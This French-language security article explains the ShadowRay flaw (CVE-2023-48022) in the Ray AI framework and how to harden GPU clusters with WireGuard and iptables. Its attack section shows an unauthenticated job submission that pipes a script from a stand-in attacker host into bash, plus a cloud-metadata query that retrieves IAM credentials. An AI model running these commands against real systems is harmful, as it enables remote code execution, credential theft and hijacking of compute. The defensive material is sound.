L'essor vertigineux des modèles d'intelligence artificielle générative et de l'apprentissage profond distribué a transformé les grappes de serveurs équipées de processeurs graphiques (GPU) en l'un des actifs les plus précieux de l'écosystème numérique. Pour coordonner le pré-entraînement, l'ajustement par renforcement (RLHF) et le déploiement d'inférences à grande échelle sur des centaines de puces interconnectées, les équipes techniques s'appuient sur des moteurs d'orchestration distribués spécialisés.

Parmi eux, Ray—le framework open source conçu par Anyscale et plébiscité par les plus grands laboratoires d'IA—s'est imposé comme une référence mondiale. Toutefois, la conception originelle de Ray a privilégié la vitesse d'exécution et les débits internes maximaux au sein d'un réseau local jugé a priori digne de confiance. L'absence d'authentification native sur ses démons d'administration a ouvert la voie à une vague d'intrusions majeures, répertoriée sous la référence CVE-2023-48022 et baptisée ShadowRay.

+-------------------------------------------------------------------------------+
|                       CHAÎNE D'EXPLOITATION DU CLUSTER RAY (SHADOWRAY)        |
+-------------------------------------------------------------------------------+
| 1. Scan de ports non protégés                                                 |
|    └─ Détection du tableau de bord Ray Dashboard (TCP 8265) sur Internet/LAN  |
| 2. Injection de tâches arbitraires via l'API REST                             |
|    └─ Requête POST non authentifiée envoyée à l'endpoint : /api/jobs/         |
| 3. Répartition de la charge via le démon Raylet                               |
|    └─ Le nœud maître (Head node) distribue l'ordre aux nœuds GPU (TCP 10001)  |
| 4. Exécution de code à distance (RCE) sur les machines de calcul              |
|    └─ Exécution de scripts shell sous les privilèges du processus (souvent root)|
| 5. Post-exploitation et dérive d'infrastructure                               |
|    ├─ Réquisition de puces NVIDIA H100/A100 pour du minage illicite (T1496)   |
|    ├─ Interrogation du service de métadonnées cloud (169.254.169.254)         |
|    └─ Vol de fichiers de poids de modèles (.safetensors) et de données privées|
+-------------------------------------------------------------------------------+

La protection d'une infrastructure d'IA distribuée impose de bannir la confiance aveugle au niveau applicatif et d'édifier un périmètre chiffré de couche 3.


Fonctionnement de Ray et origine technique de la faille CVE-2023-48022

Ray fonctionne selon une architecture maître-esclave (Head Node — Worker Nodes). Pour comprendre les vulnérabilités de sa surface d'attaque, il est indispensable d'examiner les flux réseau échangés par ses composants.

1. Topologie de Ray et ports de communication

Un déploiement Ray traditionnel s'articule autour de plusieurs modules critiques :

  • Tableau de bord Ray Dashboard & API Jobs (Port 8265) : Offre une visualisation graphique de l'utilisation matérielle, la consultation des logs et une interface HTTP REST pour soumettre des tâches Python (/api/jobs/).
  • Magasin de contrôle global GCS (Port 6379) : Gère les métadonnées de planification et la traçabilité des objets via une base de données clé-valeur intégrée.
  • Serveur Ray Client (Port 10001) : Permet des sessions de travail interactives distantes directement connectées au cœur du cluster.
  • Raylet et mémoire partagée Plasma (Ports 10002–19999) : Gèrent les appels de procédures distantes (RPC), les synchronisations mémoire et les transferts de tenseurs entre GPU.
Architecture réseau de Ray :
[ Réseau externe / Sous-réseau non sécurisé ]
                │
                ▼ (Accès direct sans mot de passe : TCP 8265 / 10001)
┌────────────────────────────────────────────────────────┐
│ Nœud maître Ray (Head Node)                            │
│  ├── Interface Web Dashboard et API REST (Port 8265)   │
│  ├── Magasin global GCS (Port 6379)                    │
│  └── Serveur Ray Client (Port 10001)                   │
└───────────────────────┬────────────────────────────────┘
                        │ Communications gRPC / RPC
        ┌───────────────┴───────────────┐
        ▼                               ▼
┌──────────────────────┐        ┌──────────────────────┐
│ Nœud GPU Worker 1    │        │ Nœud GPU Worker 2    │
│  ├── Démon Raylet    │        │  ├── Démon Raylet    │
│  └── 8x NVIDIA H100  │        │  └── 8x NVIDIA H100  │
└──────────────────────┘        └──────────────────────┘

2. Mécanisme de compromission ShadowRay (CVE-2023-48022)

À l'origine, les concepteurs de Ray n'ont pas intégré de couche d'authentification interne, supposant que le cluster évoluerait exclusivement derrière des pare-feux étanches. Cependant, lors des déploiements sur Kubernetes (via l'opérateur KubeRay) ou sur des machines virtuelles dans le cloud, les services sont fréquemment liés par inadvertance à 0.0.0.0 ou exposés via des contrôleurs Ingress sans middleware d'autorisation.

Un acteur malveillant détectant le port TCP 8265 peut soumettre un script d'exécution arbitraire d'une simple requête HTTP :

# Soumission d'une tâche non authentifiée au nœud maître Ray
curl -X POST "http://<target-ray-head>:8265/api/jobs/" \
  -H "Content-Type: application/json" \
  -d '{
    "entrypoint": "curl -s http://attacker-c2[.]xyz/loader.sh | bash",
    "runtime_env": {
      "env_vars": {"CLUSTER_TARGET": "ai-training"}
    }
  }'

Le nœud maître enregistre l'instruction dans le GCS, l'intègre au planificateur et la propage aux démons Raylet des serveurs de calcul. Le code s'exécute directement sur les nœuds équipés de cartes GPU avec les droits du processus de travail (souvent root au sein des conteneurs Docker).

3. Mouvement latéral et capture des clés cloud (IMDS)

Une fois implanté dans le conteneur d'un nœud de calcul, l'attaquant interroge le service de métadonnées local du fournisseur cloud (IMDSv1) :

# Interrogation du service IMDS pour extraire les jetons IAM temporaires
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

À l'aide de ces identifiants cloud dérobés, les intrus peuvent explorer les compartiments de stockage d'objets (comme Amazon S3 ou Google Cloud Storage) pour copier les poids des modèles d'IA en cours de mise au point ou instancier des machines virtuelles GPU additionnelles à des fins frauduleuses.


Vecteurs de risques réseau et fuites de données

Placer un simple proxy inverse (tel que Nginx avec authentification par mot de passe) devant l'interface web 8265 ne résout le problème qu'en surface. Les canaux de communication inter-nœuds (ports 6379, 10001 et les plages dynamiques des workers) continuent d'émettre en clair sans contrôle d'identité sur le réseau local physique.

Dans un réseau de centre de données non cloisonné, la compromission d'un serveur de test voisin offre à l'attaquant la capacité d'écouter les échanges RPC de Ray, d'altérer les tenseurs ou de capturer les modèles qui transitent en clair.

Menaces pesant sur le cluster :
[ Attaquant / Machine compromise sur le LAN ]
        │
        ├── (1) Accès au port 8265 -> Exécution de code via l'API Jobs
        │
        ├── (2) Extraction de métadonnées -> Requête vers 169.254.169.254 pour voler les clés IAM
        │
        ├── (3) Écoute passive -> Interception de tenseurs non chiffrés sur le réseau
        │
        └── (4) Session inverse sortante -> Connexion TCP vers le serveur pirate C2

Pour éradiquer la menace, les nœuds doivent être isolés de la topologie réseau publique et fédérés au sein d'un maillage chiffré de couche 3.


Architecture de défense Zero-Trust : Maillage WireGuard et microsegmentation

Sécuriser un cluster de calcul d'IA exige de combiner une isolation par réseau virtuel privé, un chiffrement point à point via WireGuard et des règles de filtrage sortant strictes.

+-------------------------------------------------------------------------------+
|                    ARCHITECTURE DE SÉCURITÉ DU CLUSTER GPU                    |
+-------------------------------------------------------------------------------+
| Couche 1 : Maillage chiffré WireGuard L3 (10.66.0.0/24)                       |
| ├─ Toutes les communications Head-Workers restreintes au sous-réseau virtuel  |
| ├─ Chiffrement ChaCha20-Poly1305 systématique des flux gRPC et de mémoire     |
| └─ Aucun port d'administration ouvert sur les interfaces physiques publiques  |
+-------------------------------------------------------------------------------+
| Couche 2 : Microsegmentation sortante et confinement des métadonnées          |
| ├─ Blocage absolu des requêtes vers 169.254.169.254 depuis les conteneurs     |
| ├─ Interdiction pour les workers d'initier des flux vers des IP non validées  |
| └─ Filtrage DNS Anycast récursif neutralisant les domaines de contrôle C2     |
+-------------------------------------------------------------------------------+
| Couche 3 : Administration sécurisée par tunnel VPN d'entreprise              |
| ├─ Dashboard Ray accessible uniquement sur l'adresse WireGuard (10.66.0.1)    |
| ├─ Connexion obligatoire des ingénieurs via un client VPN WireGuard / RiceGuard|
| └─ Journalisation immuable de toutes les soumissions de travaux de calcul     |
+-------------------------------------------------------------------------------+

1. Mise en place d'un maillage WireGuard chiffré pour les nœuds GPU

Au lieu d'autoriser les démons Ray à écouter sur 0.0.0.0, chaque serveur reçoit une adresse IP statique au sein d'un réseau WireGuard dédié (par exemple 10.66.0.0/24).

Fichier de configuration du nœud maître Ray (Head Node) :

# /etc/wireguard/wg-ai.conf (Nœud maître Ray)
[Interface]
Address = 10.66.0.1/24
PrivateKey = <Cle_Privee_Head_Node>
ListenPort = 51820

# Règles de filtrage : n'autoriser les flux Dashboard que sur l'interface virtuelle
PostUp = iptables -A INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
PostDown = iptables -D INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT

# Nœud de calcul 1
[Peer]
PublicKey = <Cle_Publique_Worker_1>
AllowedIPs = 10.66.0.11/32
Endpoint = 192.168.10.11:51820
PersistentKeepalive = 25

# Nœud de calcul 2
[Peer]
PublicKey = <Cle_Publique_Worker_2>
AllowedIPs = 10.66.0.12/32
Endpoint = 192.168.10.12:51820
PersistentKeepalive = 25

Le lancement de l'instance Ray s'effectue en la liant expressément à l'adresse virtuelle :

# Démarrage de Ray Head lié à l'IP du maillage WireGuard
ray start --head \
  --node-ip-address=10.66.0.1 \
  --dashboard-host=10.66.0.1 \
  --port=6379 \
  --dashboard-port=8265 \
  --disable-usage-stats

Les nœuds de calcul rejoignent le cluster via ces adresses protégées (--address=10.66.0.1:6379 --node-ip-address=10.66.0.11). Toutes les transmissions internes bénéficient d'un chiffrement matériel haute performance grâce au protocole ChaCha20-Poly1305.

2. Filtrage des flux sortants et protection des métadonnées cloud

Même si un conteneur venait à être compromis, le pare-feu de l'hôte doit neutraliser toute tentative de rebond vers l'extérieur ou d'extraction de clés d'accès.

Exemple de script de filtrage pour les serveurs GPU :

#!/usr/bin/env bash
# Filtrage sortant et protection des métadonnées pour serveurs GPU
set -euo pipefail

WG_IF="wg-ai"
METADATA_IP="169.254.169.254"

# Politique par défaut : rejet des transferts
iptables -P FORWARD DROP

# Réinitialisation des règles
iptables -F
iptables -X

# Maintien des sessions déjà établies
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Blocage de l'accès aux métadonnées cloud pour les conteneurs
iptables -A OUTPUT -d "$METADATA_IP" -j DROP

# Autorisation des communications uniquement au sein du maillage WireGuard
iptables -A OUTPUT -o "$WG_IF" -d 10.66.0.0/24 -j ACCEPT

# Blocage des connexions TCP sortantes directes sur l'interface physique
iptables -A OUTPUT -p tcp -m multiport --dports 22,80,443,4444,8080 -o eth0 -j DROP

# Routage forcé des requêtes DNS vers le résolveur Anycast du tunnel
iptables -t nat -A OUTPUT -p udp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -p tcp --dport 53 -j REJECT --reject-with tcp-reset

echo "Règles d'isolation du cluster GPU appliquées avec succès."

Validation et audit de sécurité du cluster

Pour confirmer l'étanchéité du cluster face aux sondes externes, exécutez un test d'accessibilité depuis une machine située hors du maillage WireGuard :

#!/usr/bin/env bash
# Script d'audit de sécurité des ports du cluster Ray
TARGET_IP="192.168.10.10" # Adresse IP physique du nœud maître sur le LAN

echo "[*] Étape 1 : Sondage du port 8265 sur l'interface physique..."
if nc -z -v -w 3 "$TARGET_IP" 8265 2>&1 | grep -q "succeeded"; then
    echo "[!] ALERTE : Le port 8265 est ouvert sur le réseau physique ! Le cluster est vulnérable."
else
    echo "[+] SUCCÈS : Le port 8265 est inaccessible ou bloqué par le pare-feu."
fi

echo "[*] Étape 2 : Sondage du port Ray Client (10001)..."
if nc -z -v -w 3 "$TARGET_IP" 10001 2>&1 | grep -q "succeeded"; then
    echo "[!] ALERTE : Le port 10001 est exposé ! Risque d'exécution de code."
else
    echo "[+] SUCCÈS : Le port 10001 est correctement protégé."
fi

La fermeture constatée des ports sur les cartes réseau physiques atteste que seuls les collaborateurs identifiés par clé cryptographique au travers du tunnel VPN peuvent soumettre des tâches et auditer les opérations.


Conclusion

L'affaire ShadowRay a rappelé avec force que les systèmes distribués d'IA ne peuvent prospérer sur une confiance aveugle accordée au réseau d'entreprise. Pour des installations regroupant des millions d'euros d'équipements de calcul et manipulant le cœur intellectuel d'une organisation, sécuriser une simple interface web est insuffisant.

Grâce à l'intégration d'un maillage chiffré WireGuard de couche 3, au confinement des démons sur des interfaces virtuelles et à une microsegmentation stricte des flux sortants, les entreprises bâtissent une défense étanche et résiliente. Même dans des clouds hétérogènes, les calculs d'IA distribués demeurent protégés contre l'espionnage, le détournement de processeurs graphiques et la fuite de modèles propriétaires.